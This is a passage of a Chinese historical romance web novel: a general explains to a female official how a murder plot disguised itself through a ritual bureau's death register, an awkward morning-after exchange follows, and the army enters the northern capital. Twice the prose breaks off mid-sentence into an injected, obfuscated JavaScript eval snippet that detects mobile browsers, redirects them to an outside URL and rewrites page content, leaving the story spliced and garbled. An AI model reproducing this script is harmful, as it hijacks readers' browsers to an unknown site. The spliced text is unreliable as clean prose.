宋昭这才将手里的文书往旁边一搁,抬眼看向仍站在帐门边的季柠,语气是刻意保持的平淡,像是什么都不知道似的:“季掌簿在门口站了半天,是有什么话要问?” 季柠心里那点刚被压下去的心虚,便又轻轻冒了头,一时甚至不知道该先说哪一件事。她在原地站了片刻,最终低声道:“我确实有个问题。” 宋昭看着她,眼神里似乎有笑意一闪而过。 “说。” 季柠将手里那卷簿册压在案边,指尖在卷角上轻轻摩挲了一下,整理了片刻思绪,才道:“我一直想不明白,如果有人要暗害你,为什么偏偏要借凶礼司的预拟底册行事。那底册不是最显眼的痕迹吗?人死了之后,查来查去,总会查到那几页纸。既然如此,为什么不干脆直接动手,反倒要先把死法写进底册里,留下这样大的破绽?” 她说这话时,神情已经极认真,显然是真琢磨了许久。可话音一落,她却忽然察觉到,宋昭眼里那点方才还隐隐有些松动的神色,顿时像被什么东西摁了回去。 他看了她半晌,竟极轻地叹了口气。 季柠被他这一叹弄得一时有些莫名,尚未想明白自己究竟错过了什么,宋昭已经走到案边,抬手将她方才压在桌角的那卷旧簿往旁边推了推,又重新展开一张空白纸页,像是认命地打算替她把这件事一点点讲明白。 “因为直接动手,反而最容易留下真正的把柄。”他低声道,“你总觉得凶礼司底册是痕迹,可那痕迹若本来就是写给旁人看的,便不叫破绽,叫说辞。” 季柠微微一怔,心里已经隐约生出一点明白,却又还隔着一层薄纸。 宋昭见她这副神情,难得有些惊讶地看了她一眼:“事出这么久了,你竟没想透这一层?” 季柠向来不愿在旁人面前露出不懂的样子,于是她轻咳一声,只能嘴硬道:“我又不是做局的人,哪能什么都先想得同那些阴沟里的人一样。” 宋昭低声笑了一下,继续耐心的同她解释:“这种法子,在北地和异族那边其实并不新鲜。尤其是那边老国主儿子多、诸部各自有心思。光明正大地杀人并不难,难的是杀了之后,怎么叫人抓不到把柄。” “异族里有人争位,常会在驿站、商铺、皮货行一类地方,留下一些告示。寻常人看去,不过是买卖消息、失物悬赏等常规买卖。真正接活的人却知道,那其实是一张张悬赏单,写着该动谁、何时动、怎么动。背后的人不用出面,递话的人也未必知道真正用意,只要有人照着做,事成之后再去别处领赏。这样一来,真正的主手藏在最深处,前头动手的若真被抓住,也只能咬到一层最浅的皮,怎么都查不到最上面。” 他停了一下,抬眼看向她。 “凶礼司的底册,也一样。” 季柠心里猛地一震。 她原本只是觉得凶礼司被人当了刀,却没彻底想明白,为什么偏偏是凶礼司。如今听他这样一说,许多原本零碎的东西便像被人从背后轻轻一推,忽然全部对上了。 宋昭继续道:“直接杀人,死状蹊跷,事后得费力圆过调查。可若先有底册,便等于先有了一个官方的死法。战死、暴病、路遇埋伏、旧伤复发、救治不及,这些都不是随手写在纸上的字,而是一种提前备好的结局。谁该在场,谁该作证,谁负责验伤,谁负责入祠,全都有人照着这套结局往前推。动手的人不必知道全局,他只需知道眼前这一步该怎么做。做完这一环,后头自然有人接下去。” “所以……”季柠慢慢抬起眼,“其实凶礼司就像是贴出来的那张告示,底册则是一张供人照着做的悬赏单。” “对。”宋昭道,“区别只在于,贴在店铺和驿站里的告示,谁看得懂谁便接;而凶礼司的底册,平日里没人能碰,能碰它的人,都是被安排着、有理由去碰它的人。” 他说到这里,目光在她脸上停了一下,语气更低了些。 “就像你借礼部的名义去将军府核礼制服制,冯嵩借太医院调档去翻旧册,杜衡借复诊旧伤随军北上。每个人都有理由,也都只看得见自己该看见的那一页。可等所有人把自己那一步做完,真正的死法便落下来了。” 季柠这下彻底明白了。 她原本总觉得,底册既出自宫中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551749|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便太容易留下痕迹。可如今细想,恰恰因为它出自宫中,才更容易叫所有后续接触到它的人都失了戒心。每一个接触到的人,都觉得自己只是在依着章法做事。 她一时沉默下来,她想明白了,心口那股发冷的感觉却没有因此散去。反倒因彻底明白了这一局如何运转,而更觉毛骨悚然。 过了好一会儿,她才轻轻吐出一口气,低声道:“这法子……真是高明。” 宋昭嗯了一声,像是对此并不意外。他在北地见惯了为达目的不择手段的事。只是他原以为这种法子最多在异族争位、边地暗市里翻出来,没想到如今竟会堂而皇之地长进凶礼司的底册里,披上一层礼制和官样文章的皮,再送到他面前来。 帐中安静了一会儿,外头已能听见亲兵收帐与换马的动静,偶有脚步和人声隔着帐布传进来,显得主帐里这片刻安静愈发明显。 直到这时,季柠才后知后觉地想起,自己今晨进帐时,原本还有另一桩事要说。 “昨晚……”她开口时,声音比方才轻了许多。 宋昭原本还垂着眼,听见这两个字,手上的动作却极轻地顿了一下。他抬起眼望向她,眸底那点平日里极少显出的松动仿佛又被风吹起了一层。 季柠显然看到了宋昭的眼底变化的神色,她更觉得脸上有些热,只能硬着头皮把话往下说完。 “昨晚实在是下官失礼了。”她低着头,语速比平时略快一些,像是怕说慢了自己先反悔,“下官喝多了,脑子不太清楚,说了些不该说的话,做了些不该做的举动。可那都只是酒后失仪,绝没有……绝没有任何轻薄大将军的意思。” 说到这里,她自己都觉得这句子怪得很,偏偏又只能往下硬着头皮说:“想来将军宽宏大量,定不是那等小肚鸡肠、会把这些醉话放在心上的人。昨夜之事,若将军愿意,就当——” 她顿了一下,终于还是咬牙说完了最后那句。 “就当下官什么都没说过,也什么都没做过。” 帐中忽然静了。 静得连帐外那些杂乱脚步都一下子隔了很远。 宋昭看着她,半晌没有动,也没有说话。方才那点浮上来的微不可察的期待,被这几句“没有轻薄之意”“别放在心上”“什么都没说过”一句句压了回去,压得连眼底的神色都沉了下来。 他原本还当她终于要提昨夜那些真真假假的醉话,谁知她竟是来撇清的,而且撇得这样干净,干净得像昨夜那些近得过分的呼吸、那只拽着他袖口不肯放的手、还有那句“你明明就对我好”都只是他自己多想了一场。 他沉默得太久,久得季柠心里都开始发虚,不知道是不是自己说错了哪句话。她正犹豫着要不要再补几句,便见宋昭忽然站起身。 他本就高,这样一起身,整个人的影子便压下来了一层。帐中的晨光还算亮,这一下被他挡掉了一半。季柠下意识往后退了半步,后腰却已轻轻抵上案角,退无可退。 宋昭一步步走到她跟前。 他神色却冷得厉害,甚至带着一点她从未见过的压迫感。 他停在她面前,垂眼看她,嗓音低沉得有些发哑:“若我就是那小肚鸡肠之人呢?” 这话落下来时,离得太近,近得季柠连他眼底那点被压着的恼意都看得清楚。 她原本还想说些什么,这会儿却像被人一下按住了喉咙,竟一个字都说不出来。 宋昭盯着她看了两息,像是在等她答,又像是根本懒得听她再往下编。只是在那样近的距离里,冷冷地看了她一眼,随即转身便走。帐帘被他掀开时带起一阵风,桌上的白纸被吹得轻轻一晃。 季柠站在原地,后背还抵着案角,许久没回过神来。 直到帐外的人声重新一层层压进来,她才后知后觉地发现,自己方才竟连耳根都热了。她抬手碰了碰自己额角,心里头第一次生出一种极罕见的、近乎无措的茫然。 25. 北境主城 这一日余下的大半日里,宋昭几乎没有再同季柠说过话。 说“几乎”,是因为行军路上总有避不开的公事。前头探哨回报路况、后头亲兵递送水袋、到了岔路要换官道,宋昭总归还要开口,声音也仍旧是平稳沉冷的。可那种平稳里又同平时不太一样,明明什么都没表露,却叫人很轻易地察觉出他是在避着她。 季柠一开始还不觉得,等到第三回掀帘往外看时,正好看见宋昭从她车旁经过,明明听见里头动静也没偏头,只抬手朝前头斥候示意换队形。那动作利落得很,衣袖带过风时连一点停顿都没有。 她心里那点原本被清晨的窘意和懊恼压着的不自在,便又慢慢浮了上来。 昨夜那几句酒后胡言,她早晨醒来时已在心里翻来覆去骂了自己不知多少遍,可宋昭那句“若我就是那小肚鸡肠之人呢”究竟是什么意思,她直到现在也没想明白。若说他真恼了吧,也不是很像,当时他的表情分明是有点气急败坏在里面的。若说他没恼吧,这一路上偏又冷得连一个多余眼神都懒得给她。 季柠这些年最会揣摩旁人的心思,唯独到了宋昭这里,总有那么几次是看不透的。看不透,便难免发怵。可她心里越怵,越要装作若无其事,手上翻旧册的动作便也比平日更快些。她将那几卷景和旧军册、鹿鸣相关的调令和旧抚恤名册一一摊在膝头,低头去看,像只要自己够专心,便能把心里那团乱麻一并压进纸页里去。 只是她再怎么装,宋昭那人也不是全然没把她这辆车忘在路边。 午后过一片乱石坡时,车轮颠得厉害,马车被震得整架一晃,季柠膝上的旧册险些散了一地。她手忙脚乱地按住时,外头忽然传来宋昭冷淡的一句:“把季掌簿的车收进来,靠里走,别再叫她那几卷破纸颠散了。” 这话说得既不客气,也没什么安慰人的意味。前头几匹马听到后立刻往旁边让出位置,连驾车的亲兵都忙不迭应了声是。季柠低头把册子重新理齐,心里却有点说不清的别扭。她原本已经快说服自己,宋昭这一路冷着脸不理她,便是昨日那点事还没过去。可他偏又总在她快要把自己说服到底的时候,随手做一两件这样的小事,仿佛故意不让她彻底死心,也不让她彻底安心。 真是烦人得很。 这份烦人一直持续到下午,待车轮真正碾过北境主城外那道黑沉沉的石门时,倒被另一种更鲜明的惊讶压了下去。 北境主城与京城全然不同。 京中的城墙高而整,砖色偏青,门楼飞檐层叠,连守城禁军的盔甲都擦得一丝不苟。可北境这座主城,城墙是深灰近黑的石垒起来的,厚重得像一整片山被生生削平了立在这里。城门洞高而阔,门扇上全是斑驳风痕和刀斧修补过的印子,连铆钉都比京中粗大一圈。马车刚一进城,迎面而来的风都像和京城不一样,少了点脂粉香和人群热闹里捂出来的暖意,多了股干燥而辽阔的气息。 季柠原本还抱着卷宗,心里拧着前一夜和今早的那些事。可一进城,她便被这扑面而来的陌生景象夺了心神,连手里的旧册都先放到了一边,抬手掀起车帘,几乎把半个身子都探到了窗边。 城中街道比京城宽,铺得却不算精致,多是粗石和夯土混着压出来的路面。路边店铺也不像京中那样讲究门脸,多是木墙黑瓦,挑着一块块厚实而简洁的招牌,风一吹便哗啦啦响。街上来往的人穿着与京中也差得很远,男子多着窄袖短袄,外头罩着皮褂或毛氅,腰间大多配刀,哪怕只是卖干粮的摊贩,也比京城里的伙计多几分筋骨硬朗的味道;女子则大多束发利落,穿长靴短袄,背篓、抱孩子、牵马的都有,少见京中那种慢悠悠摇着团扇走路的娇态。街边摊子上卖的东西也新鲜,风干牛羊肉、奶饼、骨雕、皮囊酒、晒得发白的药草,甚至还有异族样式的铜饰和短刀鞘壳,一样一样摆在晚春的日光底下,叫人一眼便知这里是边关。 有几个小孩赤着脚从街边跑过去,头发被风吹得乱,嘴里喊的方言季柠听不太懂,只隐约夹杂着一句“将军回来了”。她一怔,下意识往前看去,才发现队伍入城时,沿街原本忙着做买卖的人不知何时已慢慢停下了手,许多人都朝这边看过来。那目光不是京城百姓看权贵时的好奇,也不是看热闹的打量,而是一种更深、更熟稔的关注,像是在看一队真正会守住这座城的人归来。 前头有人认出了宋昭,远远便高声唤了一句“将军”。一声起,旁边又接着应了两声,随后更多人往这边看。有人抬手行礼,有人站在原地笑,有卖肉的屠户还隔着半条街把刀往案上一剁,冲这边扬了扬下巴。 季柠扒着车窗,看得一时竟有些忘神。 她原先只知道宋昭在北境兵权重,知道他是镇北将军,知道他在朝堂上是一把叫人忌惮的刀。可直到此刻看着这城里这些最寻常的百姓和摊贩,她才第一次真正明白,镇北将军这几个字落在北境到底有多重。这里的人看他,不像京中看的是兵权与圣眷,更像是看一道真正能拦住风雪和异族铁骑的墙。 她心里忽然生出一点说不清的热意,连方才那点因他冷着脸不理自己而积出来的别扭,都被这份热意冲散了许多。 队伍一路穿城,最终进了北营。 这里比京中行营更大,帐与营房一层层铺开,木制望楼高高立着,校场宽阔,兵刃和马匹的气息比青梧驿时浓重得多。人一进营,整个地方便像忽然活了过来。留守的将士们早得了信,一窝蜂地从校场、营房、伙房和伤兵营那边跑出来,迎着这一队风尘仆仆归来的兵马便围了上来。有人先看到熟人,扑上去便是一拳砸在肩上;有人笑着笑着就红了眼,问路上还顺不顺;也有人一听见西郊石桥那场伏击折了几个人,脸上的笑当即便淡了,追着问到底是谁没回来。 那些一路北上的将士原本还撑着,真回到北营,见着留守的兄弟、见着熟悉的营房和旗杆,反倒都松了那口硬撑着的气。有人先是笑着,转头说到死在石桥的那几人时,却忽然偏开头抹了把脸。有人把酒囊往旁边一扔,哑着嗓子说那几个兄弟明明还说着回营后要去边市喝一顿,谁知转眼便没了。哭并不算大哭,只是那种男人憋到忍不住时沉下来的难受,比嚎啕更叫人心里发紧。 季柠站在车旁,看着这一幕,一时竟有些鼻酸。 她这一路虽与众人同行,可说到底总还是外人。她能能替军眷补回一份抚恤,也能抱着旧册坐在车里翻上一整日,可眼前这一种久别重逢、喜中带痛、说着说着便红了眼的团聚,却不是她能真正插进去的。她只能站在稍远些的地方看着,看这些活着回来的人被人抱住肩,看那些没回来的人被一遍遍从嘴里提起,再在风里慢慢落下去。 她正看得出神,忽听前头传来一阵比方才更响亮的欢呼。宋昭不知何时已下了马,站在众人前头。火色未起,日头却还亮,他只那么立在那里,便足够把乱哄哄的一大片人心都压住。待众人稍稍静下来,他才开口,声音并不高,却穿得过整片营地。 “这一趟北上,能回来的都辛苦了。西郊那几位弟兄,回头按北营旧例厚葬,抚恤加一等,名字送进望陵旧祠。”他说到这里,顿了顿又道,“至于你们,一路跑断腿的、刀上沾血还没来得及洗的,今日都给我滚回去。该见爹娘见爹娘,该见媳妇见媳妇,该喝酒喝酒。留守的也一样,今晚不操练,放你们一夜假。” 话音才落,营中便一下炸开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553728|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 方才那些强撑着没哭出来的笑也好,因旧友折了而发红的眼也罢,都在这句“滚回去”里化成了一大片真真切切的欢呼。北境军这些年纪律严得很,平日里想多喝一口酒都得看时辰,眼下宋昭一句放假,便等于把这一趟生死奔波后的那点积压全给松开了。有人当场吼了一嗓子“将军英明”,立刻便被旁边一群人笑骂着往后拍。营里热闹成了一片,像方才那些沉重和团聚里压着的泪,一下子全被这份放开的喜气顶了上来。 季柠站在稍远处,看着那一大片人声鼎沸,心里忽然有种很轻的羡慕。 她这一生从未真正属于过这样一种地方。京城礼部也好,凶礼司也好,哪怕她在那里熬到了掌簿,终究也只是把自己活成一个极会办差的、轻易不会被人讨厌的女官。可北境这些人不一样,他们把喜怒都放在脸上,把命也系在同一根绳上。宋昭一句话,能叫他们放下刀、放下规矩、红着眼笑骂着去见家人。这种羁绊,她看得见,却到底隔着一点距离。 她正想着,耳边忽然落下一道低沉的声音:“在想什么?” 季柠一回头,才发现宋昭不知何时已从人群里走到了她身边。他方才站在人前时,仍是北境军那位说一不二的镇北将军,此刻离得近了,那点压在众人头上的威势却像收了几分,只剩下肩背仍旧挺直,神色仍旧沉静。只是那双眼看过来时,不再是先前那种刻意冷着的模样了。 季柠愣了一下,随即笑了笑:“想将军在这里,倒真是很威风。” 这话说得不算假。她本以为宋昭听了,多半只会淡淡回一句“少贫”,谁知他看了她一眼,唇边极轻地动了一下:“威风你也用不上,走吧。” “去哪儿?” “你住的地方。”宋昭说得极自然,像一切都早安排好了,“我已让人提前送信回去,院子收拾干净了,你人过去便能住。” 季柠先是一怔,随即立刻反应过来:“不必吧?我住客栈就行。主城里总有能落脚的地方,下官又不是金贵得不能挨风的人。” 她这话倒不全是客套。北境主城再如何与京城不同,说到底也还是一座城。她一个礼部掌簿,随军北上已够打眼,若一进城便住进镇北将军安排的地方,回头还不知要叫多少人多想。 宋昭却像早料到她会拒绝,连神色都没动一下,只淡淡道:“你这些日子碰的是什么东西,你自己心里没数?” 季柠一噎。 宋昭往前走了一步,回头看她:“景和旧军册、抚恤总册、北营调令、凶礼司底册,你抱着这些卷宗去住客栈,是嫌自己不够显眼?” 季柠抿了抿唇,只能换个角度:“那我也不能住将军府啊。” 宋昭看着她,像是被这句话逗出一点极淡的无奈,随即又被自己压了回去。 “不是将军府。”他说,“是城西的一处庄子,离军营不算远,清静,也方便调档。你住那里,比住客栈安全。” 他说到这里,微微停了一下,目光从她脸上扫过,语气中带了点不容商量的意味:“季柠,你如今查的不是礼部里谁家少盖了个印章,而是景和旧案。客栈人杂,耳也杂,今日你住进去,明日你怀里那些旧册和名字便能在城里传开半条街。你若还想继续查,就住我安排的地方。” 季柠看着他,一时竟有些说不出话。 她心里当然明白,他说得都对。她这些日子抱着的卷宗,哪一样不是足够让人背后起疑的东西?住客栈确实不安全。可明白归明白,被人这样不容置喙地替自己做了决定,心里总还是要别扭一下。偏偏这别扭里又掺着一点不好明说的受用。 她最后只得低头“哦”了一声。